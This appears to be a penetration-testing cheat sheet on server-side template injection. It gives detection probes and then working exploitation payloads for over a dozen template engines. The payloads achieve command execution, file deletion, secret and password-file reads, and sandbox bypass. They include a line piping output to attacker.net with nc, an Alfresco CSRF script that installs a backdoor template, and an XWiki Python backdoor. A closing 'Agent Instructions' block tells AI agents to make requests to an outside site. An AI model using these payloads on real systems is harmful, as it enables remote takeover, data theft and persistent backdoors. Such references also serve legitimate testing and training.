# Server-side template injection

###

### general payload for detection

{% hint style="info" %}
${{<%\[%'"}}%\   all special character used in SSTI
{% endhint %}

```
1.${7*7}
2.<%=foobar%> 
3.<%= 7*7 %>
4.}}{{7*7}}
5.{{7*7}}
6.custom_email={{self}}
7.${{<%[%'"}}%\        //used for using detcting wheather there is a vuln or not.
8.${{self}}
9.${T(java.lang.System).getenv()}
10.\x41 (expect A)        //to detect injection into string.
11.\\ (expect \)         //this probe is supported by almost all language.
12.


```

## DETECT and IDENTIFY:

1. `http://vulnerable-website.com/?greeting=data.username`
2. test parameter for xss using
3. `http://vulnerable-website.com/?greeting=data.username<tag>`<br>
4. in absence xss output will be blank ,or data.username value will be empty.
5. `http://vulnerable-website.com/?greeting=data.username}}<tag>`<br>
6. `if output is rendered with tag,ssti is possible.or If again output is empty or error,then maybe wrong template syntax or no ssti is not possible.`
7. `Tree image for detection:`
8.

<figure><img src="/files/5LAajl0Ist42FsQ2QgsG" alt="all text"><figcaption></figcaption></figure>

{% hint style="info" %}
payload `{{7*'7'}}` returns `49` in Twig and `7777777` in Jinja2

```
if <%= 7*7 %> is success then it's Embedded Ruby (ERB).
```

{% endhint %}

## Detect custom code

```
\zz => \zz

\" => \"
\$ => \$
\{ => {     //this means it has special meaning
\x41 => \x41
```

## exploit:

{% hint style="info" %}
always check for **api documentation** and **user manual**.  And check for **FAQ**  for security related function.
{% endhint %}

**1.Embedded Ruby (ERB):**

<pre><code>&#x3C;%= 7*7 %>
&#x3C;%= system("rm /example/arbitrary-file") %>
&#x3C;%25+system("rm+/example/arbitrary-file")+%25>  //url encoded
&#x3C;%= Dir.entries('/') %>
&#x3C;%= File.open('/example/arbitrary-file').read %>

<strong>
</strong></code></pre>

### 2.Tornado template:

```
{% somePython %}
{{someExpression}}
}}{{7*7}}
```

```
{% import os %}
{{os.system('rm /example/arbitrary-file')  //or url encoded.
```

### 3.FreeMarker:

```
1.${someExpression}
2.${foobar}   //and check error messege
3.${7*7}
4.<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /example/arbitary-file") }
```

```
//sandbox bypass:
```

```
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

### 4.handlebars:

```
1.${{self}}
2.{{self}}
3.wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /example/sensitive-file');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}  


```

### 5.django:

<pre><code><strong>1.{% debug %}
</strong>2.{{settings.SECRET_KEY}}
3.
</code></pre>

### 6.Velocity:

```
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
```

## 7.twig:

```
1.{{_self.env.setCache("ftp://attacker.net:2121")}}
2.{{_self.env.loadTemplate("backdoor")}}
```

### 8.Smarty:

```
{php}echo `id`;{/php}
```

```
{self::getStreamVariable("file:///proc/self/loginuid")}
```

### 9.mako:

```
<%
import os
x=os.popen('id').read()
%>
${x}
```

### 10.Velocity:

```
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()
```

```
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
```

### 11.Jade:

```
7*7
```

```
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

### 12.Alfresco:

{% hint style="info" %}
Low privilege users do not have permission to edit templates, but the stored XSS vulnerability can be used to force an administrator to install our backdoor for us
{% endhint %}

```
tok = /Alfresco-CSRFToken=([^;]*)/.exec(document.cookie)[1];
tok = decodeURIComponent(tok)
do_csrf = new XMLHttpRequest();
do_csrf.open("POST","http://"+document.domain+":8080/share/proxy/alfresco/api/node/workspace​/SpacesStore/59d3cbdc-70cb-419e-a325-759a4c307304/formprocessor",false);
do_csrf.setRequestHeader('Content-Type','application/json; charset=UTF-8');
do_csrf.setRequestHeader('Alfresco-CSRFToken',tok);
do_csrf.send('{"prop_cm_name":"folder.get.html.ftl","prop_cm_content":"&lgt;#assign ex=\\"freemarker.template.utility.Execute\\"?new()> ${ ex(url.getArgs())}","prop_cm_description":""}');
```

### 13.XWiki Enterprise:

Python backdoor:

```
{{python}}from subprocess import check_output
q = request.get('q') or 'true'
q = q.split(' ')
print ''+check_output(q)+''
{{/python}}
```

```
innocent content
{{velocity}}
#if( $doc.hasAccessLevel("programming") )
    $doc.setContent("
        innocent content
        {{python}}from subprocess import check_output
        q = request.get('q') or 'true'
        q = q.split(' ')
        print ''+check_output(q)+''
        {{/python}}
    ")
    $doc.save()
#end
{{/velocity}}

```

### 14.Thymeleaf:

`${T(java.lang.Runtime).getRuntime().exec('calc')}`

`${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`

<br>

## Additional payload:

1.<https://github.com/payloadbox/ssti-payloads>

### Resource:

1.<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection>

<br>

## Tools:

1.tqlmap: <https://github.com/epinna/tplmap/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/server-side-template-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
